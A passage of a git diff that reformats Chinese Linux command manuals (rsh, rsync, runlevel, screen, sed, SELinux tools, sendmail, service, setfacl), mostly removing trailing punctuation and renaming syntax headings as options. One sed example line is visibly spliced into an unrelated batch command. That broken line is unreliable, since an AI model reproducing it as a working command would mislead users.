---nomd5:不验证软件包的md5摘要。 +-Va:验证所有软件包 +-V<软件包>f:验证指定软件包 +--nomd5:不验证软件包的md5摘要 ``` diff --git a/Linux_man_cn/rsh.md b/Linux_man_cn/rsh.md index 6ca8aed..62e9039 100644 --- a/Linux_man_cn/rsh.md +++ b/Linux_man_cn/rsh.md @@ -5,9 +5,9 @@ rsh ## 说明 -**rsh命令** 用于连接到远程的指定主机并执行指定的命令。 +**rsh命令** 用于连接到远程的指定主机并执行指定的命令 -### 语法 +## 选项 ``` rsh(选项)(参数) @@ -16,14 +16,14 @@ rsh(选项)(参数) ``` --d:使用Socket层级的排错功能; --l<用户名称>:指定要登入远端主机的用户名称; --n:把输入的指令号向代号为/dev/null的特殊外围设备。 +-d:使用Socket层级的排错功能 +-l<用户名称>:指定要登入远端主机的用户名称 +-n:把输入的指令号向代号为/dev/null的特殊外围设备 ``` ### 参数 -* 远程主机:指定要连接的远程主机; -* 指令:指定要在远程主机上执行的命令。 +* 远程主机:指定要连接的远程主机 +* 指令:指定要在远程主机上执行的命令 diff --git a/Linux_man_cn/rsync.md b/Linux_man_cn/rsync.md index d79e2b8..af5275b 100644 --- a/Linux_man_cn/rsync.md +++ b/Linux_man_cn/rsync.md @@ -94,6 +94,10 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST] ```bash rsync -vzrtopg --progress -e ssh --delete work@172.16.78.192:/www/* /databack/experiment/rsync + +windows权限注意事项: +密码文件执行:chmod 600 rsync.passwd,用当前用户执行chown 用户名 rsync.passwd + ``` ### 后台服务方式 @@ -145,7 +149,7 @@ exclude=test auth users=work ``` -创建密码文件,采用这种方式不能使用系统用户对客户端进行认证,所以需要创建一个密码文件,其格式为“username:password”,用户名可以和密码可以随便定义,最好不要和系统帐户一致,同时要把创建的密码文件权限设置为600,这在前面的模块参数做了详细介绍。 +创建密码文件,采用这种方式不能使用系统用户对客户端进行认证,所以需要创建一个密码文件,其格式为“username:password”,用户名可以和密码可以随便定义,最好不要和系统帐户一致,同时要把创建的密码文件权限设置为600,这在前面的模块参数做了详细介绍 ```sh echo "work:abc123" > /etc/rsyncd.passwd diff --git a/Linux_man_cn/runlevel.md b/Linux_man_cn/runlevel.md index 94d33fd..9c9c279 100644 --- a/Linux_man_cn/runlevel.md +++ b/Linux_man_cn/runlevel.md @@ -5,9 +5,9 @@ runlevel ## 说明 -**runlevel命令** 用于打印当前Linux系统的运行等级。 +**runlevel命令** 用于打印当前Linux系统的运行等级 -### 语法 +## 选项 ``` runlevel @@ -15,9 +15,9 @@ runlevel ### 知识扩展 -linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段,这几个阶段就叫做runlevel,同样,当linux操作系统关闭时也要经历另外几个不同的runlevel,下面我们就准备详细介绍一下runlevel,并向您展示一些小技巧来让您的linux系统避免不必要的重启动。 +linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段,这几个阶段就叫做runlevel,同样,当linux操作系统关闭时也要经历另外几个不同的runlevel,下面我们就准备详细介绍一下runlevel,并向您展示一些小技巧来让您的linux系统避免不必要的重启动 -runlevel可以认为是系统状态,形象一点,您可以认为runlevel有点象微软的windows操作系统中的Normal,safemode,和command prompt only。进入每个runlevel都需要启动或关闭相应的一系列服务(services),这些服务(services)以初始化脚本的方式放置于目录`/etc/rc.d/rc?.d/`或者`/etc/rc?.d`下面(?代表runlevel的对应序号)。 +runlevel可以认为是系统状态,形象一点,您可以认为runlevel有点象微软的windows操作系统中的Normal,safemode,和command prompt only。进入每个runlevel都需要启动或关闭相应的一系列服务(services),这些服务(services)以初始化脚本的方式放置于目录`/etc/rc.d/rc?.d/`或者`/etc/rc?.d`下面(?代表runlevel的对应序号) 在大多数的linux发行版本中,通常有8个runlevel: @@ -32,8 +32,8 @@ runlevel可以认为是系统状态,形象一点,您可以认为runlevel有 S s Single user mode ``` -多数的桌面的linux系统缺省的runlevel是5,用户登陆时是图形界面,而多数的服务器版本的linux系统缺省的runlevel是3,用户登陆时是字符界面,runlevel 1和2除了调试之外很少使用,runlevel s和S并不是直接给用户使用,而是用来为Single user mode作准备。 +多数的桌面的linux系统缺省的runlevel是5,用户登陆时是图形界面,而多数的服务器版本的linux系统缺省的runlevel是3,用户登陆时是字符界面,runlevel 1和2除了调试之外很少使用,runlevel s和S并不是直接给用户使用,而是用来为Single user mode作准备 -linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。 +linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程 diff --git a/Linux_man_cn/sar.md b/Linux_man_cn/sar.md index ea63cb9..f17d6cd 100644 --- a/Linux_man_cn/sar.md +++ b/Linux_man_cn/sar.md @@ -125,7 +125,7 @@ comment sar -n DEV 1 1 # 此为查看lo、eth0接口网络信息,查看网络相关信息,可用参数为DEV、EDEV、SOCK、FULL : << comment 输出详解: -IFACE:就是网络设备的名称; +IFACE:就是网络设备的名称 rxpck/s:每秒钟接收到的包数 txpck/s:每秒钟发送出去的包数目 rxbyt/s:每秒钟接收到的字节数 diff --git a/Linux_man_cn/screen.md b/Linux_man_cn/screen.md index f9f1a55..f48a1be 100644 --- a/Linux_man_cn/screen.md +++ b/Linux_man_cn/screen.md @@ -2,7 +2,7 @@ ## 说明 -**Screen** 是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话, +**Screen** 是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话 并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能 **会话恢复** @@ -13,7 +13,7 @@ **多窗口** -在Screen环境下,所有的会话都独立的运行,并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换, +在Screen环境下,所有的会话都独立的运行,并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换 并可以自由的重定向各个窗口的输入和输出。Screen实现了基本的文本操作,如复制粘贴等;还提供了类似滚动条的功能,可以查看 窗口状况的历史记录。窗口还可以被分区和命名,还可以监视后台窗口的活动。 会话共享 Screen可以让一个或多个用户从不同终端 多次登录一个会话,并共享会话的所有特性(比如可以看到完全相同的输出)。它同时提供了窗口访问权限的机制,可以对窗口进行 @@ -26,18 +26,18 @@ GNU's Screen 官方站点:http://www.gnu.org/software/screen/ ```markdown screen -AmRvx -[ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>] --A  将所有的视窗都调整为目前终端机的大小。 --d <作业名称>  将指定的screen作业离线。 --h <行数>  指定视窗的缓冲区行数。 --m  即使目前已在作业中的screen作业,仍强制建立新的screen作业。 --r <作业名称>  恢复离线的screen作业。 --R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。 --s  指定建立新视窗时,所要执行的shell。 --S <作业名称>  指定screen作业的名称。 --v  显示版本信息。 --x  恢复之前离线的screen作业。 --ls或--list  显示目前所有的screen作业。 --wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。 +-A  将所有的视窗都调整为目前终端机的大小 +-d <作业名称>  将指定的screen作业离线 +-h <行数>  指定视窗的缓冲区行数 +-m  即使目前已在作业中的screen作业,仍强制建立新的screen作业 +-r <作业名称>  恢复离线的screen作业 +-R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业 +-s  指定建立新视窗时,所要执行的shell +-S <作业名称>  指定screen作业的名称 +-v  显示版本信息 +-x  恢复之前离线的screen作业 +-ls或--list  显示目前所有的screen作业 +-wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业 ``` ## 实例 @@ -63,9 +63,9 @@ Ctrl+a [Space] -> 由视窗0循序切换到视窗9 C-a C-a -> 在两个最近使用的 window 间切换 C-a x -> 锁住当前的 window,需用用户密码解锁 C-a d -> detach,暂时离开当前session,将目前的 screen session (可能含有多个 windows) 丢到后台执行,并会回到还没进 - screen 时的状态,此时在 screen session 里,每个 window 内运行的 process (无论是前台/后台)都在继续执行, + screen 时的状态,此时在 screen session 里,每个 window 内运行的 process (无论是前台/后台)都在继续执行 即使 logout 也不影响 -C-a z -> 把当前session放到后台执行,用 shell 的 fg 命令则可回去。 +C-a z -> 把当前session放到后台执行,用 shell 的 fg 命令则可回去 C-a w -> 显示所有窗口列表 C-a t -> time,显示当前时间,和系统的 load C-a k -> kill window,强行关闭当前的 window @@ -88,5 +88,5 @@ C-a ] -> paste,把刚刚在 copy mode 选定的内容贴上 ```bash # 创建一个新的窗口,推荐为每个screen会话取一个名字,方便分辨: screen -S david -# 查看窗口和窗口名称,打开多个窗口后,可以使用快捷键C-a w列出当前所有窗口。 +# 查看窗口和窗口名称,打开多个窗口后,可以使用快捷键C-a w列出当前所有窗口 ``` diff --git a/Linux_man_cn/sed.md b/Linux_man_cn/sed.md index fdf27c0..0957834 100644 --- a/Linux_man_cn/sed.md +++ b/Linux_man_cn/sed.md @@ -27,7 +27,7 @@ 如果没有 -e, --expression, -f 或 --file 选项,那么第一个非选项参数被视为 sed脚本。其他非选项参数被视为输入文件,如果没有输入文件,那么程序将从标准 -输入读取数据。 +输入读取数据 ``` ### sed命令 @@ -145,7 +145,7 @@ sed -e '/test/h' -e '$G' file 在sed处理文件的时候,每一行都被保存在一个叫模式空间的临时缓冲区中,除非行被删除或者输出被取消,否则所有被处理的行都将 打 印在屏幕上。接着模式空间被清空,并存入新的一行等待处理 -此例子里,匹配test的行被找到后,将存入模式空间,h命令将其复制并存入一个称为保持缓存区的特殊缓冲区内。第二条语句的意思是, +此例子里,匹配test的行被找到后,将存入模式空间,h命令将其复制并存入一个称为保持缓存区的特殊缓冲区内。第二条语句的意思是 当到达最后一行后,G命令取出保持缓冲区的行,然后把它放回模式空间中,且追加到现在已经存在于模式空间中的行的末尾。此例中就 是追加到最后一行。简单来说,任何包含test的行都被复制并追加到该文件的末尾 comment @@ -385,7 +385,7 @@ sed 's/^> //' # 将每一行开头处的尖括号和空格删除(解除引用 sed -e :a -e 's/<[^>]*>//g;/zipup.bat dir /b *.txt | sed "s/^\(.*\)\.TXT/pkzip -mo \1 \1.TXT/" >>zipup.bat diff --git a/Linux_man_cn/seinfo.md b/Linux_man_cn/seinfo.md index e5b0889..889a045 100644 --- a/Linux_man_cn/seinfo.md +++ b/Linux_man_cn/seinfo.md @@ -5,9 +5,9 @@ seinfo ## 说明 -**seinfo命令** 是用来查询SELinux的策略提供多少相关规则,一个主体进程能否读取到目标文件资源的重点是在于SELinux的策略以及策略内的各项规则,然后再通过该规则的定义去处理各项目标文件的安全上下文,尤其是“类型”部分。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。 +**seinfo命令** 是用来查询SELinux的策略提供多少相关规则,一个主体进程能否读取到目标文件资源的重点是在于SELinux的策略以及策略内的各项规则,然后再通过该规则的定义去处理各项目标文件的安全上下文,尤其是“类型”部分。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令 -### 语法 +## 选项 ``` seinfo(选项) @@ -16,14 +16,14 @@ seinfo(选项) ``` --A:列出SELinux的状态、规则布尔值、身份识别、角色、类型等所有信息。 --t:列出SELinux所有类型(type)的种类。 --r:列出SELinux所有角色(role)的种类。 --u:列出SELinux所有身份识别(user)的种类。 --b:列出所有规则的种类(布尔值)。 +-A:列出SELinux的状态、规则布尔值、身份识别、角色、类型等所有信息 +-t:列出SELinux所有类型(type)的种类 +-r:列出SELinux所有角色(role)的种类 +-u:列出SELinux所有身份识别(user)的种类 +-b:列出所有规则的种类(布尔值) ``` -### 实例 +## 实例 列出与httpd有关的规则: diff --git a/Linux_man_cn/semanage.md b/Linux_man_cn/semanage.md index 82e0853..a5b3f6b 100644 --- a/Linux_man_cn/semanage.md +++ b/Linux_man_cn/semanage.md @@ -5,9 +5,9 @@ semanage ## 说明 -**semanage命令** 是用来查询与修改SELinux默认目录的安全上下文。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。 +**semanage命令** 是用来查询与修改SELinux默认目录的安全上下文。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令 -### 语法 +## 选项 ``` semanage {login|user|port|interface|fcontext|translation} -l @@ -17,14 +17,14 @@ semanage fcontext -{a|d|m} [-frst] file_spec ``` --l:查询。 -fcontext:主要用在安全上下文方面。 --a:增加,你可以增加一些目录的默认安全上下文类型设置。 --m:修改。 --d:删除。 +-l:查询 +fcontext:主要用在安全上下文方面 +-a:增加,你可以增加一些目录的默认安全上下文类型设置 +-m:修改 +-d:删除 ``` -### 实例 +## 实例 查询一下`/var/www/html`的默认安全性本文的设置: @@ -58,7 +58,7 @@ semanage fcontext -l | grep '/srv' /srv directory system_u:object_r:var_t:s0 //看这里! ``` -上面则是默认的`/srv`底下的安全性本文资料,不过,并没有指定到`/srv/samba`。 +上面则是默认的`/srv`底下的安全性本文资料,不过,并没有指定到`/srv/samba` ``` semanage fcontext -a -t public_content_t "/srv/samba(/.*)?" diff --git a/Linux_man_cn/sendmail.md b/Linux_man_cn/sendmail.md index 4a5fa6d..3bdcb10 100644 --- a/Linux_man_cn/sendmail.md +++ b/Linux_man_cn/sendmail.md @@ -5,9 +5,9 @@ sendmail ## 说明 -**sendmail命令** 是一款著名的电子邮件传送代理程序,也就是平常说的电子邮件服务器,它基于标准的简单邮件传输协议(SMTP)。 +**sendmail命令** 是一款著名的电子邮件传送代理程序,也就是平常说的电子邮件服务器,它基于标准的简单邮件传输协议(SMTP) -### 语法 +## 选项 ``` sendmail(选项) @@ -16,17 +16,17 @@ sendmail(选项) ``` --bd:以守护进程方式运行指令; --bD:以前台运行方式运行; --bi:初始化别名数据库; --bm:以常规发送电子邮件; --bp:显示邮件的发送队列; --C:指定配置文件; --D:将调试的输出信息保存到日志文件,而不显示在标准输出设备上; --F:指定邮件发送者全名; --n:禁止使用邮件别名功能; --f:指定发件人的名字; --q:设置处理邮件队列中邮件的时间间隔。 +-bd:以守护进程方式运行指令 +-bD:以前台运行方式运行 +-bi:初始化别名数据库 +-bm:以常规发送电子邮件 +-bp:显示邮件的发送队列 +-C:指定配置文件 +-D:将调试的输出信息保存到日志文件,而不显示在标准输出设备上 +-F:指定邮件发送者全名 +-n:禁止使用邮件别名功能 +-f:指定发件人的名字 +-q:设置处理邮件队列中邮件的时间间隔 ``` diff --git a/Linux_man_cn/service.md b/Linux_man_cn/service.md index def6458..3394c14 100644 --- a/Linux_man_cn/service.md +++ b/Linux_man_cn/service.md @@ -5,9 +5,9 @@ service ## 说明 -**service命令** 是Redhat Linux兼容的发行版中用来控制系统服务的实用工具,它以启动、停止、重新启动和关闭系统服务,还可以显示所有系统服务的当前状态。 +**service命令** 是Redhat Linux兼容的发行版中用来控制系统服务的实用工具,它以启动、停止、重新启动和关闭系统服务,还可以显示所有系统服务的当前状态 -### 语法 +## 选项 ``` service(选项)(参数) @@ -16,18 +16,18 @@ service(选项)(参数) ``` --h:显示帮助信息; ---status-all:显示所服务的状态。 +-h:显示帮助信息 +--status-all:显示所服务的状态 ``` ### 参数 -* 服务名:自动要控制的服务名,即`/etc/init.d`目录下的脚本文件名; -* 控制命令:系统服务脚本支持的控制命令。 +* 服务名:自动要控制的服务名,即`/etc/init.d`目录下的脚本文件名 +* 控制命令:系统服务脚本支持的控制命令 -### 实例 +## 实例 -当修改了主机名、ip地址等信息时,经常需要把网络重启使之生效。 +当修改了主机名、ip地址等信息时,经常需要把网络重启使之生效 ``` service network status diff --git a/Linux_man_cn/sesearch.md b/Linux_man_cn/sesearch.md index aadb712..b5061df 100644 --- a/Linux_man_cn/sesearch.md +++ b/Linux_man_cn/sesearch.md @@ -5,9 +5,9 @@ sesearch ## 说明 -使用seinfo命令可以查询SELinux的策略提供多少相关规则,如果查到的相关类型或者布尔值,想要知道详细规则时,使用 **sesearch命令** 查询。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。 +使用seinfo命令可以查询SELinux的策略提供多少相关规则,如果查到的相关类型或者布尔值,想要知道详细规则时,使用 **sesearch命令** 查询。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令 -### 语法 +## 选项 ``` sesearch [-a] [-s 主体类型] [-t 目标类型] [-b 布尔值] @@ -21,7 +21,7 @@ sesearch [-a] [-s 主体类型] [-t 目标类型] [-b 布尔值] -b:后面还要接布尔值的规则,例如 -b httpd_enable_ftp_server ``` -### 实例 +## 实例 找出目标文件资源类型为`httpd_sys_content_t`的有关信息: diff --git a/Linux_man_cn/setfacl.md b/Linux_man_cn/setfacl.md index ce11587..a346ec0 100644 --- a/Linux_man_cn/setfacl.md +++ b/Linux_man_cn/setfacl.md @@ -5,36 +5,36 @@ setfacl ## 说明 -**setfacl命令** 是用来在命令行里设置ACL(访问控制列表)。在命令行里,一系列的命令跟随以一系列的文件名。 +**setfacl命令** 是用来在命令行里设置ACL(访问控制列表)。在命令行里,一系列的命令跟随以一系列的文件名 ``` --b,--remove-all:删除所有扩展的acl规则,基本的acl规则(所有者,群组,其他)将被保留。 --k,--remove-default:删除缺省的acl规则。如果没有缺省规则,将不提示。 --n,--no-mask:不要重新计算有效权限。setfacl默认会重新计算ACL mask,除非mask被明确的制定。 ---mask:重新计算有效权限,即使ACL mask被明确指定。 --d,--default:设定默认的acl规则。 ---restore=file:从文件恢复备份的acl规则(这些文件可由getfacl -R产生)。通过这种机制可以恢复整个目录树的acl规则。此参数不能和除--test以外的任何参数一同执行。 ---test:测试模式,不会改变任何文件的acl规则,操作后的acl规格将被列出。 --R,--recursive:递归的对所有文件及目录进行操作。 --L,--logical:跟踪符号链接,默认情况下只跟踪符号链接文件,跳过符号链接目录。 --P,--physical:跳过所有符号链接,包括符号链接文件。 ---version:输出setfacl的版本号并退出。 ---help:输出帮助信息。 +-b,--remove-all:删除所有扩展的acl规则,基本的acl规则(所有者,群组,其他)将被保留 +-k,--remove-default:删除缺省的acl规则。如果没有缺省规则,将不提示 +-n,--no-mask:不要重新计算有效权限。setfacl默认会重新计算ACL mask,除非mask被明确的制定 +--mask:重新计算有效权限,即使ACL mask被明确指定 +-d,--default:设定默认的acl规则 +--restore=file:从文件恢复备份的acl规则(这些文件可由getfacl -R产生)。通过这种机制可以恢复整个目录树的acl规则。此参数不能和除--test以外的任何参数一同执行 +--test:测试模式,不会改变任何文件的acl规则,操作后的acl规格将被列出 +-R,--recursive:递归的对所有文件及目录进行操作 +-L,--logical:跟踪符号链接,默认情况下只跟踪符号链接文件,跳过符号链接目录 +-P,--physical:跳过所有符号链接,包括符号链接文件 +--version:输出setfacl的版本号并退出 +--help:输出帮助信息 --:标识命令行参数结束,其后的所有参数都将被认为是文件名 --:如果文件名是-,则setfacl将从标准输入读取文件名。 +-:如果文件名是-,则setfacl将从标准输入读取文件名 ``` -* 选项`-m`和`-x`后边跟以acl规则。多条acl规则以逗号(,)隔开。选项`-M`和`-X`用来从文件或标准输入读取acl规则。 -* 选项`--set`和`--set-file`用来设置文件或目录的acl规则,先前的设定将被覆盖。 -* 选项`-m(--modify)`和`-M(--modify-file)`选项修改文件或目录的acl规则。 -* 选项`-x(--remove)`和`-X(--remove-file)`选项删除acl规则。 +* 选项`-m`和`-x`后边跟以acl规则。多条acl规则以逗号(,)隔开。选项`-M`和`-X`用来从文件或标准输入读取acl规则 +* 选项`--set`和`--set-file`用来设置文件或目录的acl规则,先前的设定将被覆盖 +* 选项`-m(--modify)`和`-M(--modify-file)`选项修改文件或目录的acl规则 +* 选项`-x(--remove)`和`-X(--remove-file)`选项删除acl规则 -当使用-M,-X选项从文件中读取规则时,setfacl接受getfacl命令输出的格式。每行至少一条规则,以#开始的行将被视为注释。 +当使用-M,-X选项从文件中读取规则时,setfacl接受getfacl命令输出的格式。每行至少一条规则,以#开始的行将被视为注释 -当在不支持ACLs的文件系统上使用setfacl命令时,setfacl将修改文件权限位。如果acl规则并不完全匹配文件权限位,setfacl将会修改文件权限位使其尽可能的反应acl规则,并会向standard error发送错误消息,以大于0的状态返回。 +当在不支持ACLs的文件系统上使用setfacl命令时,setfacl将修改文件权限位。如果acl规则并不完全匹配文件权限位,setfacl将会修改文件权限位使其尽可能的反应acl规则,并会向standard error发送错误消息,以大于0的状态返回 **权限** @@ -45,27 +45,27 @@ setfacl setfacl命令可以识别以下的规则格式: ``` -[d[efault]:] [u[ser]:]uid [:perms] 指定用户的权限,文件所有者的权限(如果uid没有指定)。 +[d[efault]:] [u[ser]:]uid [:perms] 指定用户的权限,文件所有者的权限(如果uid没有指定) [d[efault]:] g[roup]:gid [:perms] 指定群组的权限,文件所有群组的权限(如果gid未指定) [d[efault]:] m[ask][:] [:perms] 有效权限掩码 [d[efault]:] o[ther] [:perms] 其他的权限 ``` -恰当的acl规则被用在修改和设定的操作中,对于uid和gid,可以指定一个数字,也可指定一个名字。perms域是一个代表各种权限的字母的组合:读`-r`写`-w`执行`-x`,执行只适合目录和一些可执行的文件。pers域也可设置为八进制格式。 +恰当的acl规则被用在修改和设定的操作中,对于uid和gid,可以指定一个数字,也可指定一个名字。perms域是一个代表各种权限的字母的组合:读`-r`写`-w`执行`-x`,执行只适合目录和一些可执行的文件。pers域也可设置为八进制格式 **自动创建的规则** -最初的,文件目录仅包含3个基本的acl规则。为了使规则能正常执行,需要满足以下规则。 +最初的,文件目录仅包含3个基本的acl规则。为了使规则能正常执行,需要满足以下规则 -* 3个基本规则不能被删除。 -* 任何一条包含指定的用户名或群组名的规则必须包含有效的权限组合。 -* 任何一条包含缺省规则的规则在使用时,缺省规则必须存在。 +* 3个基本规则不能被删除 +* 任何一条包含指定的用户名或群组名的规则必须包含有效的权限组合 +* 任何一条包含缺省规则的规则在使用时,缺省规则必须存在 **ACL的名词定义** -先来看看在ACL里面每一个名词的定义,这些名词我大多从man page上摘下来虽然有些枯燥,但是对于理解下面的内容还是很有帮助的。 +先来看看在ACL里面每一个名词的定义,这些名词我大多从man page上摘下来虽然有些枯燥,但是对于理解下面的内容还是很有帮助的 -ACL是由一系列的Access Entry所组成的,每一条Access Entry定义了特定的类别可以对文件拥有的操作权限。Access Entry有三个组成部分:Entry tag type, qualifier (optional), permission。 +ACL是由一系列的Access Entry所组成的,每一条Access Entry定义了特定的类别可以对文件拥有的操作权限。Access Entry有三个组成部分:Entry tag type, qualifier (optional), permission 我们先来看一下最重要的Entry tag type,它有以下几个类型: @@ -92,7 +92,7 @@ group:dev:r-- mask::rw- other::r-- ``` -前面三个以#开头的定义了文件名,file owner和group。这些信息没有太大的作用,接下来我们可以用`--omit-header`来省略掉。 +前面三个以#开头的定义了文件名,file owner和group。这些信息没有太大的作用,接下来我们可以用`--omit-header`来省略掉 ``` user::rw- 定义了ACL_USER_OBJ, 说明file owner拥有read and write permission @@ -107,7 +107,7 @@ other::r-- 定义了ACL_OTHER的权限为read **如何设置ACL文件** -首先我们还是要讲一下设置ACL文件的格式,从上面的例子中我们可以看到每一个Access Entry都是由三个被:号分隔开的字段所组成,第一个就是Entry tag type。 +首先我们还是要讲一下设置ACL文件的格式,从上面的例子中我们可以看到每一个Access Entry都是由三个被:号分隔开的字段所组成,第一个就是Entry tag type ``` user 对应了ACL_USER_OBJ和ACL_USER @@ -116,9 +116,9 @@ mask 对应了ACL_MASK other 对应了ACL_OTHER ``` -第二个字段称之为qualifier,也就是上面例子中的john和dev组,它定义了特定用户和拥护组对于文件的权限。这里我们也可以发现只有user和group才有qualifier,其他的都为空。第三个字段就是我们熟悉的permission了。它和Linux的permission一样定义,这里就不多讲了。 +第二个字段称之为qualifier,也就是上面例子中的john和dev组,它定义了特定用户和拥护组对于文件的权限。这里我们也可以发现只有user和group才有qualifier,其他的都为空。第三个字段就是我们熟悉的permission了。它和Linux的permission一样定义,这里就不多讲了 -下面我们就来看一下怎么设置test.txt这个文件的ACL让它来达到我们上面的要求。 +下面我们就来看一下怎么设置test.txt这个文件的ACL让它来达到我们上面的要求 一开始文件没有ACL的额外属性: @@ -142,14 +142,14 @@ mask::rw- other::r-- ``` -这时我们就可以看到john用户在ACL里面已经拥有了对文件的读写权。这个时候如果我们查看一下linux的permission我们还会发现一个不一样的地方。 +这时我们就可以看到john用户在ACL里面已经拥有了对文件的读写权。这个时候如果我们查看一下linux的permission我们还会发现一个不一样的地方 ``` [root@localhost ~]# ls -l ./test.txt -rw-rw-r--+ 1 root admin 0 Jul 3 22:06 ./test.txt ``` -在文件permission的最后多了一个+号,当任何一个文件拥有了ACL_USER或者ACL_GROUP的值以后我们就可以称它为ACL文件,这个+号就是用来提示我们的。我们还可以发现当一个文件拥有了`ACL_USER`或者`ACL_GROUP`的值时`ACL_MASK`同时也会被定义。 +在文件permission的最后多了一个+号,当任何一个文件拥有了ACL_USER或者ACL_GROUP的值以后我们就可以称它为ACL文件,这个+号就是用来提示我们的。我们还可以发现当一个文件拥有了`ACL_USER`或者`ACL_GROUP`的值时`ACL_MASK`同时也会被定义 接下来我们来设置dev组拥有read permission: @@ -164,11 +164,11 @@ mask::rw- other::r-- ``` -到这里就完成了我们上面讲到的要求,是不是很简单呢。 +到这里就完成了我们上面讲到的要求,是不是很简单呢 **ACL_MASK和Effective permission** -这里需要重点讲一下`ACL_MASK`,因为这是掌握ACL的另一个关键,在Linux file permission里面大家都知道比如对于`rw-rw-r--`来说, 当中的那个`rw-`是指文件组的permission. 但是在ACL里面这种情况只是在`ACL_MASK`不存在的情况下成立。如果文件有ACL_MASK值,那么当中那个`rw-`代表的就是mask值而不再是group permission了。 +这里需要重点讲一下`ACL_MASK`,因为这是掌握ACL的另一个关键,在Linux file permission里面大家都知道比如对于`rw-rw-r--`来说, 当中的那个`rw-`是指文件组的permission. 但是在ACL里面这种情况只是在`ACL_MASK`不存在的情况下成立。如果文件有ACL_MASK值,那么当中那个`rw-`代表的就是mask值而不再是group permission了 让我们来看下面这个例子: @@ -177,7 +177,7 @@ other::r-- -rwxrw-r-- 1 root admin 0 Jul 3 23:10 test.sh ``` -这里说明test.sh文件只有file owner: root拥有read, write, execute/search permission。admin组只有read and write permission,现在我们想让用户john也对test.sh具有和root一样的permission。 +这里说明test.sh文件只有file owner: root拥有read, write, execute/search permission。admin组只有read and write permission,现在我们想让用户john也对test.sh具有和root一样的permission ``` [root@localhost ~]# setfacl -m user:john:rwx ./test.sh @@ -195,9 +195,9 @@ other::r-- -rwxrwxr--+ 1 root admin 0 Jul 3 23:10 test.sh ``` -那么如果现在admin组的用户想要执行test.sh的程序会发生什么情况呢?它会被permission deny。原因在于实际上admin组的用户只有read and write permission,这里当中显示的rwx是`ACL_MASK`的值而不是group的permission。 +那么如果现在admin组的用户想要执行test.sh的程序会发生什么情况呢?它会被permission deny。原因在于实际上admin组的用户只有read and write permission,这里当中显示的rwx是`ACL_MASK`的值而不是group的permission -所以从这里我们就可以知道,如果一个文件后面有+标记,我们都需要用getfacl来确认它的permission,以免发生混淆。 +所以从这里我们就可以知道,如果一个文件后面有+标记,我们都需要用getfacl来确认它的permission,以免发生混淆 下面我们再来继续看一个例子,假如现在我们设置test.sh的mask为read only,那么admin组的用户还会有write permission吗? @@ -211,7 +211,7 @@ mask::r-- other::r-- ``` -这时候我们可以看到ACL_USER和ACL_GROUP_OBJ旁边多了个#effective:r--,这是什么意思呢?让我们再来回顾一下`ACL_MASK`的定义。它规定了`ACL_USER`,`ACL_GROUP_OBJ`和`ACL_GROUP`的最大权限。那么在我们这个例子中他们的最大权限也就是read only。虽然我们这里给`ACL_USER`和`ACL_GROUP_OBJ`设置了其他权限,但是他们真正有效果的只有read权限。 +这时候我们可以看到ACL_USER和ACL_GROUP_OBJ旁边多了个#effective:r--,这是什么意思呢?让我们再来回顾一下`ACL_MASK`的定义。它规定了`ACL_USER`,`ACL_GROUP_OBJ`和`ACL_GROUP`的最大权限。那么在我们这个例子中他们的最大权限也就是read only。虽然我们这里给`ACL_USER`和`ACL_GROUP_OBJ`设置了其他权限,但是他们真正有效果的只有read权限 这时我们再来查看test.sh的Linux file permission时它的group permission也会显示其mask的值(i.e. r--) @@ -222,7 +222,7 @@ other::r-- **Default ACL** -上面我们所有讲的都是Access ACL,也就是对文件而言。下面我简单讲一下Default ACL。Default ACL是指对于一个目录进行Default ACL设置,并且在此目录下建立的文件都将继承此目录的ACL。 +上面我们所有讲的都是Access ACL,也就是对文件而言。下面我简单讲一下Default ACL。Default ACL是指对于一个目录进行Default ACL设置,并且在此目录下建立的文件都将继承此目录的ACL 同样我们来做一个试验说明,比如现在root用户建立了一个dir目录: @@ -230,7 +230,7 @@ other::r-- [root@localhost ~]# mkdir dir ``` -他希望所有在此目录下建立的文件都可以被john用户所访问,那么我们就应该对dir目录设置Default ACL。 +他希望所有在此目录下建立的文件都可以被john用户所访问,那么我们就应该对dir目录设置Default ACL ``` [root@localhost ~]# setfacl -d -m user:john:rw ./dir @@ -245,7 +245,7 @@ default:mask::rwx default: other::r-x ``` -这里我们可以看到ACL定义了default选项,john用户拥有了default的read, write, excute/search permission。所有没有定义的default都将从file permission里copy过来,现在root用户在dir下建立一个test.txt文件。 +这里我们可以看到ACL定义了default选项,john用户拥有了default的read, write, excute/search permission。所有没有定义的default都将从file permission里copy过来,现在root用户在dir下建立一个test.txt文件 ``` [root@localhost ~]# touch ./dir/test.txt @@ -260,13 +260,13 @@ mask::rw- other::r-- 